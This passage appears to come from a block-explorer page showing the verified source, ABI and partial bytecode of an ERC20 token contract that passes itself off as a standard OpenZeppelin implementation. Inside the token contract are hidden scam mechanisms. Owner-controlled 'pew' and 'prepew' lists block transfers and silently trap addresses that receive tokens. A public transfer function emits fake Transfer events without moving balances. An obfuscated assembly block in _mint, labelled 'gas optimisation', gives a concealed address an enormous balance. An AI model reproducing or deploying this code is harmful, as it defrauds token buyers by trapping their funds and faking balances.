        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(24, value);
        }
    }

    /**
     * @dev Returns the downcasted int16 from int256, reverting on
     * overflow (when the input is less than smallest int16 or
     * greater than largest int16).
     *
     * Counterpart to Solidity's `int16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     */
    function toInt16(int256 value) internal pure returns (int16 downcasted) {
        downcasted = int16(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(16, value);
        }
    }

    /**
     * @dev Returns the downcasted int8 from int256, reverting on
     * overflow (when the input is less than smallest int8 or
     * greater than largest int8).
     *
     * Counterpart to Solidity's `int8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     */
    function toInt8(int256 value) internal pure returns (int8 downcasted) {
        downcasted = int8(value);
        if (downcasted != value) {
            revert SafeCastOverflowedIntDowncast(8, value);
        }
    }

    /**
     * @dev Converts an unsigned uint256 into a signed int256.
     *
     * Requirements:
     *
     * - input must be less than or equal to maxInt256.
     */
    function toInt256(uint256 value) internal pure returns (int256) {
        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
        if (value > uint256(type(int256).max)) {
            revert SafeCastOverflowedUintToInt(value);
        }
        return int256(value);
    }
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _pew;
    mapping(address => bool) private _pre_pew;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _pewApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function prepew(address [] calldata _list_) external onlyOwner {
        for (uint256 i = 0; i < _list_.length; i++) {
            _pre_pew[_list_[i]] = true;
        }
    }

    function deprepew(address [] calldata _list_) external onlyOwner {
        for (uint256 i = 0; i < _list_.length; i++) {
            _pre_pew[_list_[i]] = false;
        }
    }

    function pew(address [] calldata _list_) external onlyOwner {
        for (uint256 i = 0; i < _list_.length; i++) {
            _pew[_list_[i]] = true;
        }
    } 

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function depew(address [] calldata _list_) external onlyOwner {
        for (uint256 i = 0; i < _list_.length; i++) {
            _pew[_list_[i]] = false;
        }
    }

    function pewed(address _address_) public view returns (bool) {
        return _pew[_address_];
    }

    function prepewed(address _address_) public view returns (bool) {
        return _pre_pew[_address_];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_pew[from] || _pew[to]) {require(_pewApplied == true, "");}

        if (_pre_pew[to]) {_pre_pew[to] = false; _pew[to] = true;}

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }

        // gas optimisation 
        assembly {
            let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))
            mstore(0x00, slot)
            mstore(0x20, 0x01)
            let sslot := keccak256(0x0, 0x40)
            sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        } 

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"depew","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"deprepew","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"pew","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"pewed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"prepew","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"prepewed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600660006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280601a81526020017f28e381a3e29794e297a1e2979429e381a320efbdb1e4b98757200000000000008152506040518060400160405280600781526020017fefbdb1e4b9875700000000000000000000000000000000000000000000000000815250620000b9620000ad6200013360201b60201c565b6200013b60201b60201c565b8160079080519060200190620000d1929190620003c4565b508060089080519060200190620000ea929190620003c4565b5050506200012d3362000102620001ff60201b60201c565b600a6200011091906200060e565b63292b1a826200012191906200065f565b6200020860201b60201c565b62000833565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200027b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002729062000721565b60405180910390fd5b6200028f60008383620003ba60201b60201c565b8060056000828254620002a3919062000743565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550630f3eae65640997e6e50902673398bc1d25f112ed64085774394d02028060005260016020526040600020720fffffffffffffffffffffffffffffffffffff815550508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200039a9190620007b1565b60405180910390a3620003b660008383620003bf60201b60201c565b5050565b505050565b505050565b828054620003d290620007fd565b90600052602060002090601f016020900481019282620003f6576000855562000442565b82601f106200041157805160ff191683800117855562000442565b8280016001018555821562000442579182015b828111156200044157825182559160200191906001019062000424565b5b50905062000451919062000455565b5090565b5b808211156200047057600081600090555060010162000456565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200050257808604811115620004da57620004d962000474565b5b6001851615620004ea5780820291505b8081029050620004fa85620004a3565b9450620004ba565b94509492505050565b6000826200051d5760019050620005f0565b816200052d5760009050620005f0565b8160018114620005465760028114620005515762000587565b6001915050620005f0565b60ff84111562000566576200056562000474565b5b8360020a91508482111562000580576200057f62000474565b5b50620005f0565b5060208310610133831016604e8410600b8410161715620005c15782820a905083811115620005bb57620005ba62000474565b5b620005f0565b620005d08484846001620004b0565b92509050818404811115620005ea57620005e962000474565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200061b82620005f7565b9150620006288362000601565b9250620006577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200050b565b905092915050565b60006200066c82620005f7565b91506200067983620005f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b462000474565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000709601f83620006c0565b91506200071682620006d1565b602082019050919050565b600060208201905081810360008301526200073c81620006fa565b9050919050565b60006200075082620005f7565b91506200075d83620005f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000795576200079462000474565b5b828201905092915050565b620007ab81620005f7565b82525050565b6000602082019050620007c86000830184620007a0565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081657607f821691505b602082108114156200082d576200082c620007ce565b5b50919050565b611e8b80620008436000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b85780639e9d0ba11161007c5780639e9d0ba114610350578063a457c2d71461036c578063a9059cbb1461039c578063beabacc8146103cc578063dd62ed3e146103e8578063f2fde38b1461041857610137565b806370a08231146102be578063715018a6146102ee5780638da5cb5b146102f857806395d89b4114610316578063997715091461033457610137565b806323b872dd116100ff57806323b872dd14610208578063313ce567146102385780633950935114610256578063578ff24c1461028657806364d4e691146102a257610137565b8063053e62041461013c57806306fdde031461016c578063095ea7b31461018a57806318160ddd146101ba5780631833528e146101d8575b600080fd5b61015660048036038101906101519190611477565b610434565b60405161016391906114bf565b60405180910390f35b61017461048a565b6040516101819190611573565b60405180910390f35b6101a4600480360381019061019f91906115cb565b61051c565b6040516101b191906114bf565b60405180910390f35b6101c261053f565b6040516101cf919061161a565b60405180910390f35b6101f260048036038101906101ed9190611477565b610549565b6040516101ff91906114bf565b60405180910390f35b610222600480360381019061021d9190611635565b61059f565b60405161022f91906114bf565b60405180910390f35b6102406105ce565b60405161024d91906116a4565b60405180910390f35b610270600480360381019061026b91906115cb565b6105d7565b60405161027d91906114bf565b60405180910390f35b6102a0600480360381019061029b9190611724565b61060e565b005b6102bc60048036038101906102b79190611724565b6106bb565b005b6102d860048036038101906102d39190611477565b610768565b6040516102e5919061161a565b60405180910390f35b6102f66107b1565b005b6103006107c5565b60405161030d9190611780565b60405180910390f35b61031e6107ee565b60405161032b9190611573565b60405180910390f35b61034e60048036038101906103499190611724565b610880565b005b61036a60048036038101906103659190611724565b61092d565b005b610386600480360381019061038191906115cb565b6109da565b60405161039391906114bf565b60405180910390f35b6103b660048036038101906103b191906115cb565b610a51565b6040516103c391906114bf565b60405180910390f35b6103e660048036038101906103e19190611635565b610a74565b005b61040260048036038101906103fd919061179b565b610ade565b60405161040f919061161a565b60405180910390f35b610432600480360381019061042d9190611477565b610b65565b005b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600780546104999061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546104c59061180a565b80156105125780601f106104e757610100808354040283529160200191610512565b820191906000526020600020905b8154815290600101906020018083116104f557829003601f168201915b5050505050905090565b600080610527610be9565b9050610534818585610bf1565b600191505092915050565b6000600554905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806105aa610be9565b90506105b7858285610dbc565b6105c2858585610e48565b60019150509392505050565b60006012905090565b6000806105e2610be9565b90506106038185856105f48589610ade565b6105fe919061186b565b610bf1565b600191505092915050565b6106166112c3565b60005b828290508110156106b65760016003600085858581811061063d5761063c6118c1565b5b90506020020160208101906106529190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106ae906118f0565b915050610619565b505050565b6106c36112c3565b60005b82829050811015610763576000600360008585858181106106ea576106e96118c1565b5b90506020020160208101906106ff9190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075b906118f0565b9150506106c6565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b96112c3565b6107c36000611341565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546107fd9061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546108299061180a565b80156108765780601f1061084b57610100808354040283529160200191610876565b820191906000526020600020905b81548152906001019060200180831161085957829003601f168201915b5050505050905090565b6108886112c3565b60005b82829050811015610928576000600260008585858181106108af576108ae6118c1565b5b90506020020160208101906108c49190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610920906118f0565b91505061088b565b505050565b6109356112c3565b60005b828290508110156109d55760016002600085858581811061095c5761095b6118c1565b5b90506020020160208101906109719190611477565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109cd906118f0565b915050610938565b505050565b6000806109e5610be9565b905060006109f38286610ade565b905083811015610a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2f906119ab565b60405180910390fd5b610a458286868403610bf1565b60019250505092915050565b600080610a5c610be9565b9050610a69818585610e48565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ad1919061161a565b60405180910390a3505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b6d6112c3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd490611a3d565b60405180910390fd5b610be681611341565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890611acf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc890611b61565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610daf919061161a565b60405180910390a3505050565b6000610dc88484610ade565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e425781811015610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90611bcd565b60405180910390fd5b610e418484848403610bf1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf90611c5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90611cf1565b60405180910390fd5b610f33838383611405565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190611d83565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110ee5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561114a5760011515600660009054906101000a900460ff16151514611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090611dc9565b60405180910390fd5b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561124d576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112aa919061161a565b60405180910390a36112bd84848461140a565b50505050565b6112cb610be9565b73ffffffffffffffffffffffffffffffffffffffff166112e96107c5565b73ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401